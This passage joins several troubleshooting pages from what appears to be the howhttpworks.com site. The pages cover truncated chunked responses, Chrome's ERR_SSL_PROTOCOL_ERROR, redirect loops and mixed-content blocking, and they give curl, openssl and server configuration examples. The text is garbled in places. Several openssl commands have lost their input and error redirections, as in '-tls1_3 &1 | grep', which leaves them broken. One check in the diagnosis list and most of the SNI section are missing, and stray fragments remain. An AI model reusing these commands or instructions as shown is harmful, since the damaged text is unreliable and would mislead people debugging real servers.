forbids `Transfer-Encoding` entirely ([RFC 9113 Section 8.2.2](https://www.rfc-editor.org/rfc/rfc9113.html#section-8.2.2)). The commands below force HTTP/1.1 to compare hops, which means they may take a different proxy path from the one the browser negotiated. ## Find the hop that stopped sending ```bash curl --http1.1 -v --no-buffer 'https://example.com/stream' # On the origin host, bypass the reverse proxy: curl --http1.1 -v --no-buffer -H 'Host: example.com' \ 'http://127.0.0.1:3000/stream' ``` Match the failing request's method, authorization and body. [`--no-buffer`](https://curl.se/docs/manpage.html#--no-buffer) turns off curl's own output buffering, but the server still decides when to flush. Watch when data last arrived and how long the line was silent before the close. For a **finite** response, save the raw HTTP/1.1 chunk framing with content decoding off: ```bash curl --http1.1 --raw -sS -D response.headers \ -H 'Accept-Encoding: identity' -o chunks.raw \ 'https://example.com/finite-response' xxd chunks.raw | tail ``` Confirm `Transfer-Encoding: chunked`, walk the chunk boundaries and look for the final zero chunk. A literal `0` inside the data isn't a terminator. Let the transfer run to the end: piping through `head` or setting a client time limit truncates the response yourself, and then you're debugging your own cut-off. An SSE stream that stays open has no final chunk until it ends normally, so use the live comparison above for streams. ## Fix it, in diagnostic order ### 1. The upstream died after starting the body Line up the failure time with app exceptions, worker exits, restarts and request IDs: ```bash docker logs --since 10m my-app docker inspect --format '{{json .State}}' my-app sudo tail -n 100 /var/log/nginx/error.log ``` nginx's [upstream source](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) logs `upstream prematurely closed connection` when the upstream ends the response early. Read the rest of the log line. **While reading response headers** means it failed before the body started. A failure mid-body is the case that hands the client headers plus partial data. Fix whatever killed the producer: the exception, the killed process, the interrupted stream. When the response finishes normally, end it with your framework's response-ending API so the library writes the terminator. Writing `0\r\n\r\n` yourself as application data into a response the HTTP library is already chunking corrupts the body instead of ending it. ### 2. A silent gap exceeded a proxy or load-balancer timeout ```bash sudo nginx -T 2>&1 | grep -nE 'proxy_read_timeout|proxy_buffering|proxy_ignore_headers' sudo rg -n 'upstream timed out|upstream prematurely closed' /var/log/nginx/error.log aws elbv2 describe-load-balancer-attributes --load-balancer-arn "$ALB_ARN" ``` Keep the `nginx -T` dump on the box, since it can contain deployment details. [`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) defaults to **60 seconds between upstream reads**. It's not a cap on the whole response; it's how long the upstream may go quiet. If that happens before headers, you get a [504](https://howhttpworks.com/debug/nginx-504-gateway-timeout). After the response has started, the client gets a truncated body instead. The [AWS Application Load Balancer idle timeout](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/edit-load-balancer-attributes.html) also defaults to **60 seconds**, but it's a separate timer on idle client or target connections, and HTTP/2 PING frames don't reset it. Measure the longest silent gap and compare it with the timeout on every hop. For SSE or an LLM token stream, have nginx pass each upstream write straight through. In this route config, **300 seconds is a chosen allowance**, not a default: ```nginx location /stream { proxy_pass http://127.0.0.1:3000; proxy_http_version 1.1; proxy_buffering off; proxy_read_timeout 300s; proxy_set_header Accept-Encoding identity; gzip off; } ``` Run `nginx -t` before reloading. The config turns off nginx's compression on this route and asks the upstream for unencoded output, which the app has to honor. The load balancer's timer is separate and stays as it was. Or let the upstream opt out of buffering itself by sending these SSE response fields before the body: ```http Content-Type: text/event-stream X-Accel-Buffering: no ``` nginx [honors `X-Accel-Buffering: no`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffering) unless it's configured to ignore it. It has to come from the upstream; adding it with a downstream `add_header` tells nginx's upstream buffer nothing. And `proxy_request_buffering` is about the incoming request body, so it won't fix response buffering. During pauses in token generation, send and flush SSE comment heartbeats. The [HTML Standard](https://html.spec.whatwg.org/multipage/server-sent-events.html#authoring-notes) suggests one roughly every **15 seconds** to keep legacy proxies from timing out. Pick an interval shorter than the smallest idle timeout on your path, and confirm the heartbeats actually reach the public endpoint. The heartbeat bytes are just: ```text : keepalive\n\n ``` Drive heartbeats from their own timer so they keep flowing when generation stalls. A heartbeat stuck in the app's or compressor's buffer keeps nothing alive downstream. ### 3. nginx cannot write its buffered response to disk With [proxy buffering enabled](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffering), a response too big for the memory buffers spills into `proxy_temp_path`. If that temp-file write fails, the [event pipe aborts](https://github.com/nginx/nginx/blob/master/src/event/ngx_event_pipe.c), and the [file-write log message](https://github.com/nginx/nginx/blob/master/src/os/unix/ngx_files.c) names the path and OS error. So a full disk can genuinely truncate responses. Look for that log line before blaming disk space for every truncation. ```bash sudo nginx -T 2>&1 | grep -nE 'proxy_temp_path|proxy_max_temp_file_size|proxy_buffering' sudo rg -n 'No space left on device|Permission denied|pwrite|writev' /var/log/nginx/error.log # Replace with the actual proxy temp directory: df -h /var/lib/nginx/proxy df -i /var/lib/nginx/proxy ls -ld /var/lib/nginx/proxy ``` Find the failing path, then check free space, free inodes and whether nginx workers can write there. Fix the capacity or permissions. On a streaming route, the `proxy_buffering off` config above skips this buffering path altogether, though an upstream crash still needs fixing at the upstream. ### 4. Compression buffered the stream or never finished ```bash curl --http1.1 -v --no-buffer -H 'Accept-Encoding: identity' \ 'https://example.com/stream' curl --http1.1 -v --no-buffer --compressed 'https://example.com/stream' ``` Compare when heartbeats arrive in each run, and what `Content-Encoding` comes back. gzip and chunked framing work fine together. The catch is that a compressor holds data until it has enough to emit, as [Node's zlib documentation](https://nodejs.org/api/zlib.html#flushing) explains, so call its flush API whenever an event must reach the client now. On normal completion, finish the compressed stream before ending the HTTP response. Turning gzip off for the diagnostic route takes one buffering layer out of the picture. If the chunk framing completes but the compressed bytes are corrupt, that's a different error: see [content decoding failed](https://howhttpworks.com/debug/err-content-decoding-failed). ### 5. An inspecting proxy buffered or interrupted delivery Try the same request from another network you're allowed to use, then test any explicitly configured proxy on its own: ```bash curl --noproxy '*' --http1.1 -v --no-buffer 'https://example.com/stream' curl --proxy http://proxy.example:8080 --http1.1 -v --no-buffer \ 'https://example.com/stream' ``` `--noproxy '*'` skips curl's configured proxy, but a transparent gateway or endpoint antivirus sits in the path regardless. As one example, [Fortinet documents whole-file buffering before proxy antivirus scanning in FortiOS 7.0.5](https://docs.fortinet.com/document/fortigate/7.0.5/administration-guide/5347/protocol-options). That shows such products buffer; it doesn't show one caused your Chrome error. If only the inspected path fails, ask the network operator to check that product's buffering, timeout and scan logs for your request, and to make a route-specific change the product supports. ## Related - [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding) - [nginx 504 Gateway Timeout](https://howhttpworks.com/debug/nginx-504-gateway-timeout) - [SSE vs WebSockets](https://howhttpworks.com/compare/sse-vs-websockets) - [Content decoding failed](https://howhttpworks.com/debug/err-content-decoding-failed) --- # ERR_SSL_PROTOCOL_ERROR: Causes and Fixes in Chrome > Fix ERR_SSL_PROTOCOL_ERROR: plain HTTP on port 443, TLS version mismatches, SNI, TLS-inspecting proxies and Cloudflare, with curl and openssl checks. Source: https://howhttpworks.com/debug/err-ssl-protocol-error Last reviewed: 2026-10-04 Error messages this page covers: - `This site can't provide a secure connection. example.com sent an invalid response. ERR_SSL_PROTOCOL_ERROR` - `ERR_SSL_PROTOCOL_ERROR` - `SSL_ERROR_RX_RECORD_TOO_LONG` - `curl: (35) OpenSSL/3.0.13: error:0A00010B:SSL routines::wrong version number` - `error:0A00010B:SSL routines:tls_validate_record_header:wrong version number` > **TL;DR:** Chrome started a TLS handshake and got back something that is not valid TLS. The most common cause by far is a port serving plain HTTP: nginx `listen 443;` without `ssl`, or `https://localhost:3000` against a dev server. Run `openssl s_client -connect HOST:443 -servername HOST`; `wrong version number` confirms plain HTTP. If the handshake works from your machine but fails for some users, look for a TLS-inspecting proxy, antivirus or firewall on their network. ## What it means Chrome shows: ```text This site can't provide a secure connection example.com sent an invalid response. ERR_SSL_PROTOCOL_ERROR ``` This is not an HTTP error. No request was sent, so there is no status code and nothing useful in your access log (with one exception, covered below). `ERR_SSL_PROTOCOL_ERROR` (net error -107) is Chrome's catch-all: when BoringSSL reports a handshake failure that Chrome has no more specific code for, it lands here. Several neighbours have their own codes, and seeing one of them instead narrows the search: | Chrome error | What actually happened | |---|---| | `ERR_SSL_PROTOCOL_ERROR` | Bytes that are not TLS, an unexpected alert, or a broken handshake | | `ERR_SSL_VERSION_OR_CIPHER_MISMATCH` | No shared TLS version or cipher suite (TLS 1.0/1.1-only servers land here) | | `ERR_SSL_UNRECOGNIZED_NAME_ALERT` | The server has no site for the SNI hostname and said so | | `ERR_CONNECTION_RESET` | A TCP RST arrived during the handshake (see [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset)) | | `ERR_CONNECTION_CLOSED` | The server closed the connection (TCP FIN) mid-handshake | | `NET::ERR_CERT_*` | The handshake worked, but the certificate failed ([certificate errors](https://howhttpworks.com/debug/err-cert-common-name-invalid)) | The same failure in other clients: ```text Firefox: Secure Connection Failed ... SSL_ERROR_RX_RECORD_TOO_LONG (plain HTTP on an HTTPS port) Firefox: Secure Connection Failed ... PR_END_OF_FILE_ERROR (connection closed during the handshake) curl: curl: (35) OpenSSL/3.0.13: error:0A00010B:SSL routines::wrong version number Node.js: Error: write EPROTO ...:SSL routines:tls_validate_record_header:wrong version number ``` ## Who sent it? Whoever answers TCP on that port: your web server, a load balancer, a CDN, or a box in the middle that the client does not know about. Three quick checks tell you which: ```bash # 1. What does the port actually speak? openssl s_client -connect example.com:443 -servername example.com /dev/null \ | openssl x509 -noout -issuer -subject # 3. Is the hostname behind a CDN? A cf-ray header means Cloudflare terminates TLS. curl -sI https://example.com/ | grep -iE '^(server|cf-ray|via|x-amz-cf-id)' ``` If the issuer on the failing network is a firewall or antivirus vendor rather than your CA, the connection is being intercepted and the server is not the problem. ## Fix it, in order of likelihood ### 1. HTTPS to a port that speaks plain HTTP This is the cause most of the time, and the error text is misleading because nothing about TLS is wrong: the server never attempted TLS. Chrome sends a ClientHello, the server reads it as a malformed HTTP request and replies `HTTP/1.1 400 Bad Request` in clear text. Chrome tries to parse `HTTP/` as a TLS record header and gives up. That also explains the odd error names elsewhere. The first five bytes of a TLS record are a content type, a two-byte version and a two-byte length. In `HTTP/`, the `TT` sits where the version should be (so OpenSSL says `wrong version number`), and `P/` decodes to a length of 20,527 bytes, larger than TLS allows (so Firefox says `SSL_ERROR_RX_RECORD_TOO_LONG`). Confirm with openssl. On OpenSSL 3.x: ```bash openssl s_client -connect example.com:443 -servername example.com ` without `SSLEngine on`.** Same symptom. - **A local dev server.** `https://localhost:3000` against Express, Vite, Next.js or Django's runserver, which speak plain HTTP unless told otherwise. Use `http://`, or enable HTTPS in the dev server (for example `next dev --experimental-https`, or Vite's `server.https` option with a certificate). - **Chrome forcing HTTPS on a host you serve over HTTP.** If anything on `localhost` ever sent `Strict-Transport-Security`, Chrome upgrades every later `http://localhost` request to HTTPS and hits your plain dev server. Delete the entry under **Delete domain security policies** at `chrome://net-internals/#hsts`. Entries from the HSTS preload list cannot be deleted: every `.dev` and `.app` domain is preloaded, so a dev hostname under those TLDs always needs real TLS. - **An HTTPS proxy setting that is not HTTPS.** `HTTPS_PROXY=https://proxy.internal:3128` against a proxy that speaks plain HTTP gives curl and most CLIs the same `wrong version number`. The scheme in the proxy URL is how the client talks to the proxy, so it is usually `http://`. - **A port or redirect mix-up.** An app that redirects to `https://example.com:8080/` where 8080 is plain HTTP, or a load balancer listener on 443 forwarding raw TCP to a backend port that expects TLS on another port. ### 2. TLS version or cipher mismatch A server that only offers TLS 1.0 or 1.1 does not usually produce `ERR_SSL_PROTOCOL_ERROR`. Chrome stopped connecting to those servers entirely in Chrome 98 (after a click-through warning period starting in Chrome 84), and it reports them as `ERR_SSL_VERSION_OR_CIPHER_MISMATCH` with the text "example.com uses an unsupported protocol". RFC 8996 formally deprecates both versions. The same code appears when the server and browser share no cipher suite. You get `ERR_SSL_PROTOCOL_ERROR` from version problems when the server mishandles a modern ClientHello instead of refusing it cleanly: an old TLS stack or appliance that sends an unexpected alert, or garbage, in reply to TLS 1.3. Probe each version separately: ```bash openssl s_client -connect example.com:443 -servername example.com -tls1_3 &1 | grep -E 'Protocol|Cipher|alert|error' openssl s_client -connect example.com:443 -servername example.com -tls1_2 &1 | grep -E 'Protocol|Cipher|alert|error' ``` A server that refuses TLS 1.3 cleanly answers with a `protocol_version` alert: ```text error:0A00042E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version:ssl/record/rec_layer_s3.c:918:SSL alert number 70 ``` and the TLS 1.2 probe succeeds with `New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384`. That server is fine for Chrome. If both probes fail, test the legacy versions. OpenSSL 3 disables TLS 1.0 and 1.1 at its default security level, so lower it for the probe: ```bash openssl s_client -connect example.com:443 -servername example.com -tls1 -cipher 'DEFAULT:@SECLEVEL=0' &1 | grep -E 'alert|subject=|Protocol' openssl s_client -connect 203.0.113.10:443 -noservername &1 | grep -E 'alert|subject=|Protocol' ``` If the first fails and the second works, the server has a TLS site but not for `example.com`: add the hostname to `server_name` in the TLS server block (or the matching vhost, ingress host or load balancer certificate list). If you test by IP address, always pass `-servername`, because browsers never send an IP as SNI. ### 4. A middlebox, antivirus or corporate proxy intercepting TLS When the site works from your network and fails for some users, something between them and you is terminating or inspecting TLS. Typical sources: - **Corporate TLS inspection** (next-generation firewalls, secure web gateways) that cannot parse something in Chrome's ClientHello. Chrome's post-quantum key share made the ClientHello too large for one packet: Chrome turned on a hybrid Kyber key share by default on desktop in Chrome 124 and moved to the standardized X25519MLKEM768 in Chrome 131, and inspection devices that assumed the ClientHello arrives in a single packet broke. Fortinet, for example, documented `ERR_SSL_PROTOCOL_ERROR` with flow-based deep inspection and ML-KEM. Google offered the `PostQuantumKeyAgreementEnabled` enterprise policy as a temporary escape hatch and said it would be removed after Chrome 145; the lasting fix is a firmware update from the vendor. - **Antivirus HTTPS scanning** that re-signs traffic, especially older versions that mishandle TLS 1.3. - **A firewall blocking the site with a TLS alert.** Some firewalls send an `access_denied` alert when they block a page. Per the spec that alert is only for client certificates, so Chrome maps it to `ERR_SSL_PROTOCOL_ERROR` when it never received a certificate request. Cloudflare Zero Trust Gateway block pages produce the same error when the Cloudflare root certificate is not installed on the device. To prove interception, compare the certificate issuer from the failing machine with the one from your own (check 2 under "Who sent it?"). Then test from the same machine with security software paused, or over a phone hotspot or VPN. If the error disappears off the corporate network, take it to whoever owns the inspection policy, with a Chrome net log from `chrome://net-export`. ### 5. Cloudflare: what SSL mode does and does not affect The SSL/TLS encryption mode controls only the Cloudflare-to-origin connection. In Flexible mode Cloudflare talks to your origin over plain HTTP; in Full and Full (strict) it uses HTTPS. A mismatch there does not produce `ERR_SSL_PROTOCOL_ERROR` in the visitor's browser, because the browser's handshake is with Cloudflare. It produces a Cloudflare error page instead: - **Full or Full (strict) with an origin that has no working TLS on 443** gives [525 SSL handshake failed](https://howhttpworks.com/status-codes/525) (or [521](https://howhttpworks.com/status-codes/521) if nothing listens). An origin with `listen 443;` without `ssl` is a classic 525. - **Flexible with an origin that redirects HTTP to HTTPS** gives a redirect loop ([ERR_TOO_MANY_REDIRECTS](https://howhttpworks.com/debug/err-too-many-redirects)), because Cloudflare keeps fetching the origin over HTTP. Cloudflare's docs say not to use Flexible when the origin forces HTTPS. - **Flexible applies only to HTTPS on port 443.** Cloudflare falls back to Full mode for HTTPS on other ports, so a non-standard port suddenly needs TLS on the origin. When the browser itself shows `ERR_SSL_PROTOCOL_ERROR` on a Cloudflare hostname, the browser-to-edge handshake failed. Cloudflare's troubleshooting page lists, in order: 1. The edge certificate is not active yet (a recently added domain waiting for Universal SSL), or the hostname is a multi-level subdomain such as `dev.docs.example.com`, which Universal SSL does not cover. 2. Intermittent failures for some visitors: temporarily turn off **HTTP/3 (with QUIC)** under Protocol Optimization. If that fixes it, the visitor's network blocks or mangles UDP on port 443. 3. Failures on corporate networks or with antivirus HTTPS scanning: temporarily turn off **TLS 1.3** under **SSL/TLS > Edge Certificates**. If that fixes it, a middlebox on the visitor's side cannot handle TLS 1.3. Turn it back on afterwards; this is a diagnostic, not a fix. 4. Ask the visitor for the output of `https://example.com/cdn-cgi/trace`, which shows which Cloudflare data center, TLS version and HTTP version they reach. Also check whether the DNS record is proxied. A DNS-only (grey cloud) record sends the browser straight to your origin, so every origin cause above applies, and Cloudflare's certificate is not involved at all. ## Reproduce and verify ```bash # Full handshake as curl sees it; look at the lines starting with "*" curl -v https://example.com/ -o /dev/null # Speak plain HTTP to the TLS port and see what comes back curl -si --max-time 5 http://example.com:443/ | head -n 12 # Handshake details: protocol, cipher, certificate subject openssl s_client -connect example.com:443 -servername example.com /dev/null \ | grep -E '^(New|Protocol|Verify return code)|subject=' ``` The plain-HTTP probe separates the two cases. If port 443 returns your normal page (a 200, or the redirect your site usually sends), it is serving plain HTTP and you have found the problem. A correctly configured nginx TLS port answers that probe with `400 Bad Request` and the body text `The plain HTTP request was sent to HTTPS port`, which is the [497](https://howhttpworks.com/status-codes/497) case seen from the other side. Other TLS servers close the connection, and curl prints `Empty reply from server`. A fixed server shows `New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384` (or a TLS 1.2 ECDHE suite) and `Verify return code: 0 (ok)`. Then reload the page in Chrome; if the error persists only in the browser, clear the HSTS entry and test in a fresh profile, so a cached HSTS or certificate decision is not hiding the fix. ## Related - [NET::ERR_CERT_COMMON_NAME_INVALID](https://howhttpworks.com/debug/err-cert-common-name-invalid) is the next error you meet once the handshake works but the certificate does not match. - [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset) covers handshakes killed by a TCP RST rather than a TLS alert. - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525) is the same class of failure on Cloudflare's leg to your origin. - [497 HTTP Request Sent to HTTPS Port](https://howhttpworks.com/status-codes/497) is the mirror image: plain HTTP sent to a TLS port. - [TLS handshake](https://howhttpworks.com/glossary/tls-handshake) and [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls) explain what each step of the handshake does. --- # ERR_TOO_MANY_REDIRECTS: Find and Break the Redirect Loop > Fix ERR_TOO_MANY_REDIRECTS (redirected you too many times): Cloudflare Flexible SSL, WordPress URLs, nginx HTTPS loops and cookie loops, diagnosed with curl. Source: https://howhttpworks.com/debug/err-too-many-redirects Last reviewed: 2026-10-04 Error messages this page covers: - `This page isn’t working. example.com redirected you too many times. Try deleting your cookies. ERR_TOO_MANY_REDIRECTS` - `The page isn’t redirecting properly. Firefox has detected that the server is redirecting the request for this address in a way that will never complete. This problem can sometimes be caused by disabling or refusing to accept cookies.` - `Safari Can’t Open the Page. Too many redirects occurred trying to open “https://example.com/”. This might occur if you open a page that is redirected to open another page which then is redirected to open the original page.` - `curl: (47) Maximum (10) redirects followed` > **TL;DR:** Two layers disagree about the canonical URL, so each redirects to a URL the other redirects away from. Run `curl -sIL --max-redirs 10 URL` and read who issues each `Location`. The most common cause is a CDN or load balancer talking plain HTTP to an origin that insists on HTTPS (Cloudflare Flexible SSL plus an origin redirect). ## What it means The browser followed `Location` headers from one response to the next and gave up after 20 hops. Each response is a legitimate 3xx. Nothing is "down". A loop looks like this: ```http GET https://example.com/ HTTP/2 < HTTP/2 301 < location: https://www.example.com/ GET https://www.example.com/ HTTP/2 < HTTP/2 301 < location: https://example.com/ ``` The loop can span two URLs, as above, or many. It can also depend on state outside the URL: a cookie, a header added by a proxy, or `Accept-Language`. Chrome and Firefox give up after 20 redirects. ## Who sent it? Run the diagnosis from a terminal, not the browser, so nothing is cached or hidden by the address bar: ```bash curl -sSIL --max-redirs 10 https://example.com/ \ | grep -iE '^(HTTP/|location:|server:|cf-ray:|via:|set-cookie:|x-powered-by:)' ``` Read the output top to bottom. For every hop, note the status, the `Location`, and who answered: ```text HTTP/2 301 server: cloudflare cf-ray: 8c1f2a3b4c5d6e7f-AMS location: https://example.com/ HTTP/2 301 server: cloudflare cf-ray: 8c1f2a3c5d6e7f80-AMS location: https://example.com/ curl: (47) Maximum (10) redirects followed ``` `Location` pointing back to the URL you just requested is the signature of a loop that depends on a hidden input. In this example the same URL redirects to itself because the origin sees HTTP and thinks it must upgrade to HTTPS. Compare hops: - `Server: cloudflare` plus a `CF-Ray` on a redirect with `Location` equal to the request URL: the CDN is relaying the origin's redirect, or a Cloudflare Redirect Rule or Page Rule is itself looping. - `Server: nginx`, `Apache` or an app header such as `X-Powered-By: Express` on the redirect: the origin generated it. - `Via: 1.1 ... (CloudFront)` or `Server: awselb/2.0`: a CloudFront behavior or an ALB redirect rule did it. To check whether the loop depends on cookies, replay with a cookie jar. A loop that disappears with `-b/-c` is a cookie loop: ```bash curl -sIL --max-redirs 10 -c jar.txt -b jar.txt https://example.com/account ``` To see exactly what the origin thinks it received, bypass the CDN and fake the forwarded scheme: ```bash curl -sI http://ORIGIN_IP/ -H 'Host: example.com' curl -sI http://ORIGIN_IP/ -H 'Host: example.com' -H 'X-Forwarded-Proto: https' ``` If the first returns a 301 to HTTPS and the second returns 200, the origin only needs to be told the original scheme. ## Fix it, in order of likelihood 1. HTTPS redirect behind a TLS-terminating proxy. The origin receives HTTP from a CDN or load balancer and redirects to HTTPS forever. Make the origin read `X-Forwarded-Proto` (or `Forwarded`), or serve HTTPS to the proxy. 2. www and apex redirecting at each other. Pick one canonical host and make sure the CDN, the web server and the application agree. A redirect in the DNS provider, one in the CDN and one in the app often do not match. 3. WordPress `siteurl` and `home` set to a different scheme or host than the one in the browser. 4. Cookie or session loop: login redirects to the app, the app does not see the session cookie, and redirects back to login. 5. Trailing slash or path normalization: one rule adds `/`, another strips it. 6. A redirect rule matching its own destination, for example a Cloudflare Redirect Rule for `http.host eq "example.com"` that redirects to `https://example.com/`, so it also matches the HTTPS request. ### Cloudflare Flexible SSL In Flexible mode the visitor-to-Cloudflare leg is HTTPS and the Cloudflare-to-origin leg is HTTP. An origin with its own HTTP-to-HTTPS redirect (nginx `return 301`, Apache `RewriteRule`, WordPress, a plugin) will redirect every request Cloudflare makes, and the visitor ends up bouncing. The fix is in the Cloudflare dashboard under SSL/TLS, Overview: set the encryption mode to Full (strict) after installing a valid certificate (or a Cloudflare Origin CA certificate) on the origin. Full also stops the loop but does not validate the certificate. The modes are Off, Flexible, Full and Full (strict); Cloudflare's [troubleshooting page](https://developers.cloudflare.com/ssl/troubleshooting/too-many-redirects/) also lists Always Use HTTPS, HSTS and conflicting Redirect Rules as loop sources. Do not "fix" it by removing the origin redirect while staying on Flexible; that leaves the Cloudflare-to-origin hop unencrypted. ### nginx The common bug is a catch-all redirect that fires for traffic that already arrived over HTTPS via a proxy: ```nginx # Loops behind a proxy that talks HTTP to nginx: server { listen 80; return 301 https://$host$request_uri; } ``` If nginx itself terminates TLS, redirect only on the plain-HTTP listener and keep the HTTPS server block redirect-free. If nginx sits behind a load balancer that terminates TLS, key the redirect on the forwarded scheme: ```nginx server { listen 80; if ($http_x_forwarded_proto = "http") { return 301 https://$host$request_uri; } location / { proxy_pass http://app; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto; } } ``` When nginx is the proxy in front of an application server that does its own HTTPS redirect, forward the scheme the client used: ```nginx location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } ``` Then make the application trust that header: ```javascript // Express app.set('trust proxy', 1) // number of proxy hops you control; req.protocol now follows X-Forwarded-Proto ``` ```python # Django settings.py SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') SECURE_SSL_REDIRECT = True ``` Only trust `X-Forwarded-Proto` if your proxy overwrites it. A header supplied by the client must never decide security behavior. ### Apache ```apache # Behind a proxy: look at the forwarded scheme, not %{HTTPS} RewriteEngine On RewriteCond %{HTTP:X-Forwarded-Proto} =http RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] ``` `RewriteCond %{HTTPS} off` loops behind a TLS-terminating proxy because Apache always sees `off`. ### WordPress WordPress redirects the request to whatever `siteurl` and `home` say. If either has the wrong scheme or host, every request is redirected. Override both in `wp-config.php` to break out of a loop you cannot reach through the admin: ```php define('WP_HOME', 'https://example.com'); define('WP_SITEURL', 'https://example.com'); // Behind a proxy or load balancer that terminates TLS: if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { $_SERVER['HTTPS'] = 'on'; } ``` Also disable "force SSL" options in security or caching plugins while testing; two plugins redirecting to HTTPS each is a classic. ### Cookie-based loops Typical shape: `/account` redirects to `/login` when no session is found, and `/login` redirects to `/account` when it finds one. If the session cookie is set but never comes back, the app oscillates. Check in DevTools, Application, Cookies, whether the cookie is stored after the login response, and whether it is sent on the next request. Common reasons it is not: - `Secure` on a cookie set over HTTP (the browser drops it), for example when TLS terminates at a proxy and the app thinks it is on HTTP. - `SameSite=None` without `Secure`, which Chrome rejects. - A `Domain` attribute that does not cover the host the user is on (`example.com` versus `www.example.com`). - A cookie too large to send, so the server never sees it. The [cookie not sent guide](https://howhttpworks.com/debug/cookie-not-sent) walks through each of these. ## Reproduce and verify After the fix, the chain should end in a non-3xx within one or two hops: ```bash curl -sIL --max-redirs 10 http://example.com/ | grep -iE '^(HTTP/|location:)' ``` ```text HTTP/1.1 301 Moved Permanently location: https://example.com/ HTTP/2 200 ``` Expected redirects are fine. Anything more than one hop from a typical entry URL (`http://www.` to `https://example.com/`) is worth collapsing into a single redirect, since each hop costs a round trip. Browsers cache 301 and 308 responses aggressively, so confirm in a private window rather than the tab that showed the error. To audit chains, canonical tags and indexing signals for a public URL, use the [redirect auditor](https://howhttpworks.com/tools/redirect-audit). ## Related - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) and [302 Found](https://howhttpworks.com/status-codes/302): permanent redirects get cached, temporary ones do not, which changes how long a loop survives. - [308 Permanent Redirect](https://howhttpworks.com/status-codes/308) behaves like 301 but preserves the request method; a `POST` that loops through 308 never turns into a `GET`. - [X-Forwarded-Proto](https://howhttpworks.com/headers/x-forwarded-proto) is the header most HTTPS-loop fixes depend on. - [Location](https://howhttpworks.com/headers/location) explains how relative and absolute redirect targets are resolved. --- # Mixed Content Blocked: HTTPS Page Requesting HTTP > Fix 'Mixed Content: The page was loaded over HTTPS, but requested an insecure resource': find the http:// URLs, add upgrade-insecure-requests, fix proxies. Source: https://howhttpworks.com/debug/mixed-content-blocked Last reviewed: 2026-10-04 Error messages this page covers: - `Mixed Content: The page at 'https://example.com/' was loaded over HTTPS, but requested an insecure resource 'http://example.com/api/items'. This request has been blocked; the content must be served over HTTPS.` - `Mixed Content: The page at 'https://example.com/' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://api.example.com/items'. This request has been blocked; the content must be served over HTTPS.` - `Mixed Content: The page at 'https://example.com/' was loaded over HTTPS, but attempted to connect to the insecure WebSocket endpoint 'ws://example.com/socket'. This request has been blocked; this endpoint must be available over WSS.` - `Blocked loading mixed active content “http://example.com/app.js”` > **TL;DR:** An HTTPS page requested a subresource over `http://`. Browsers block scripts, stylesheets, iframes, fetch/XHR and `ws://` outright and try to upgrade images, audio and video. Find the `http://` URLs in your HTML, JavaScript, CMS data and proxy headers and change them to `https://`; add `Content-Security-Policy: upgrade-insecure-requests` as a safety net. ## What it means A page loaded over HTTPS is only as secure as the least secure thing it loads. A script fetched over HTTP can be rewritten by anyone on the path, which would give them control of your page, so browsers block "active" mixed content outright. The warning in Chrome's console and the Firefox equivalent: ```text Chrome: Mixed Content: The page at 'https://example.com/' was loaded over HTTPS, but requested an insecure resource 'http://example.com/api/items'. This request has been blocked; the content must be served over HTTPS. Firefox: Blocked loading mixed active content “http://example.com/app.js” ``` Behaviour depends on the kind of request, per the [W3C Mixed Content](https://www.w3.org/TR/mixed-content/) specification as implemented by browsers: - Blocked: scripts, stylesheets, iframes, `fetch` and `XMLHttpRequest`, WebSockets (`ws://`), web fonts, and anything else that can change the page. - Auto-upgraded when possible: images, audio and video in current Chrome and Firefox. The browser requests `https://` instead and blocks the resource if that fails. Older browsers or settings may still load these with a warning and no padlock. - Not mixed content: `http://localhost` and `http://127.0.0.1` are treated as potentially trustworthy, so development setups often mask the problem. Forms are a separate case. A form on an HTTPS page that posts to an `http://` action is not blocked by mixed content rules, but browsers may show a warning before submit because the data would travel in the clear. ## Who sent it? The browser, from the page's own markup or JavaScript. The server-side question is who produced the `http://` URL. Check, in this order: 1. The raw HTML: `view-source:` or `curl -s https://example.com/ | grep -oE "(src|href|action)=[\"']http://[^\"']+"`. 2. JavaScript bundles and inline scripts that build URLs (`'http://' + host`, an environment variable such as `API_URL=http://...` baked in at build time). 3. Data your app stores and renders: CMS posts, product descriptions, database columns, user content with absolute `http:` links. 4. Headers and redirects: a `Location: http://...` header, an HTML `` with HTTP, or an application that generates absolute URLs from `X-Forwarded-Proto` that your proxy is not setting. 5. Third parties: ad tags, widgets and analytics snippets that load further scripts over HTTP. ## Fix it, in order of likelihood 1. Replace hard-coded `http://` URLs with `https://` (or root-relative paths for your own host). Do not use protocol-relative URLs (`//cdn.example.com/x.js`); they were an old workaround and now just add ambiguity. 2. Fix the scheme the application believes it is using when behind a TLS-terminating proxy. 3. Rewrite stored content (WordPress, other CMS databases). 4. Add `upgrade-insecure-requests` while you clean up, then remove third-party URLs that have no HTTPS endpoint. 5. Switch WebSockets to `wss://`. ### Find the offenders DevTools: open the Console on the failing page; each blocked request is listed with its URL, and the Network tab with the filter `scheme:http` or `mixed-content:displayed` (Chrome) narrows it. Across the whole site, ask browsers to report instead of waiting for users to hit each page. `upgrade-insecure-requests` is not applied by a report-only policy, so use a restrictive source list to catch plain HTTP loads: ```http Content-Security-Policy-Report-Only: default-src https: data: blob: 